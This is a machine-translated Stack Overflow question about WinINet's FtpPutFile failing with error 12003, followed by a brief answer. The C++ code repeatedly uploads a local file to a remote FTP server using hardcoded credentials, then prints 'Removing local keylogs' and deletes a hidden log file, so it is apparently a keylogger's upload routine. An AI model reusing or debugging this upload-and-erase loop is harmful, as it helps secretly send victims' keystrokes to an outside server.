繁体   English   中英

C ++ WinINet FtpPutFile错误12003

[英]C++ WinINet FtpPutFile Error 12003

我已经在过去3天(每天8-10个小时)中研究了此问题。 我尝试了许多其他方法来上传文件,也尝试了其他库,等等。但是我什么都找不到。

它在Windows 8.1的最新版本上可以100%运行,但是当我在Windows 7或更早版本上进行测试时,使用FtpPutFile时出现错误12003。

除FtpPutFile以外,所有其他WinINet FTP函数都可在Windows的每个版本上使用。

我已经在这个主题上搜索了至少24小时。 (从字面上看)

我有许多不同的理论,我都对它们进行了测试,但没有任何效果。

我以为,也许是文件/文件夹名称解析。 所以我搞砸了,不。 没用

我以为可能是防火墙问题,我以管理员身份运行并禁用了防火墙,不。

我已经尝试了无数其他方法。.没有任何效果。

这是我的代码。 我正在使用Visual Studio Express 2013。

#include "stdafx.h"
using namespace std;
#include <iostream>
#include <istream>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <stdio.h>
#include <ctype.h>
#include <conio.h>
#include <time.h>
#include <wininet.h> 
#include <fstream>
#include <direct.h>
#include <tchar.h>
#include <ctime>
#include <sstream>
#pragma comment (lib, "urlmon")
#pragma comment(lib, "Wininet")

void main(){
    while (1){
        void send();
        send();
        Sleep(10000);
    }
}

void send(){
    void FileSubmit();
    FileSubmit();
}

void FileSubmit()
{
    bool folderExists(string str);
    cout << "Sending file..." << endl;
    HINTERNET hInternet;
    HINTERNET hFtpSession;
    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL)
    {
        cout << "Error: " << GetLastError() << endl;
        cout << InternetGetLastResponseInfo << endl;
    }
    else
    {
        hFtpSession = InternetConnect(hInternet, "cloud9ips.com", INTERNET_DEFAULT_FTP_PORT, "ftptest@cloud9ips.com", "Pass123", INTERNET_SERVICE_FTP, 0, 0);
        if (hFtpSession == NULL)
        {
            cout << "Error: " << GetLastError() << endl;
            cout << InternetGetLastResponseInfo << endl;
        }
        else
        {
            string folder_path = "/testfolder/";
            string file_name = "testfile.txt";
            cout << "file_name: " << file_name << endl;
            cout << "folder_path: " << folder_path << endl;
            if (!folderExists(folder_path)){
                if (FtpCreateDirectory(hFtpSession, folder_path.c_str())){
                    cout << "Created folder for IP " + folder_path << endl;
                }
                else {
                    cout << "Error creating folder " + folder_path << endl;
                }
            }
            else {
                cout << "Folder already exists" << endl;
            }
            BOOL SetDir = FtpSetCurrentDirectory(hFtpSession, folder_path.c_str());
            if (SetDir){
                cout << "Set directory to " << folder_path << endl;
            }
            else {
                cout << "Failed to set directory to " << folder_path << endl;
            }
            BOOL Rename = FtpRenameFile(hFtpSession, "testfile.txt", "new.txt");
            if (Rename){
                cout << "Successfully renamed testfile.txt to new.txt" << endl;
            }
            else {
                cout << "Failed to rename file" << endl;
            }
            BOOL Transfer = FtpPutFile(hFtpSession, "C://folder/file.txt", file_name.c_str(), FTP_TRANSFER_TYPE_BINARY, 0);
            if (!Transfer)
            {
                cout << "Failed to send file." << endl;
                cout << "Error: " << GetLastError() << endl;
                cout << "Response Info: " << InternetGetLastResponseInfo << endl;
            }
            else {
                cout << "Successfully sent file." << endl;
            }
            cout << "Closing FTP Session" << endl;
            InternetCloseHandle(hFtpSession); // Close hFtpSession
        }
    }
    cout << "Closing connection" << endl;
    InternetCloseHandle(hInternet); // Close hInternet
    cout << "Removing local keylogs..." << endl;
    remove("C://system/sys.txt");
    cout << "Done!" << endl;
}

bool folderExists(string folder){
    IStream* pStream = NULL;
    string url = "http://cloud9ips.com/ftpadmin/" + folder + "/";
    URLOpenBlockingStream(0, url.c_str(), &pStream, 0, 0);
    if (!pStream)
        return false;
    pStream->Release();
    return true;
}

难道我做错了什么?

我已经在代码中包含了FTP帐户的信息,因此您可以根据需要对其进行测试。

我已经检查了所有内容,但无法解决。

如果您可以提供帮助,我将不胜感激。

谢谢-Alex Benoit。

这是路径错误,不是由于INTERNET_FLAG_PASSIVE标志引起的。

我的解决方案如下:

pFtpConnection->SetCurrentDirectory(yourpath);

如果路径yourpath不存在,请首先创建路径;否则,请执行以下操作。 然后

pFtpConnection->PutFile(localFullFileName,sRemoteFile);

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM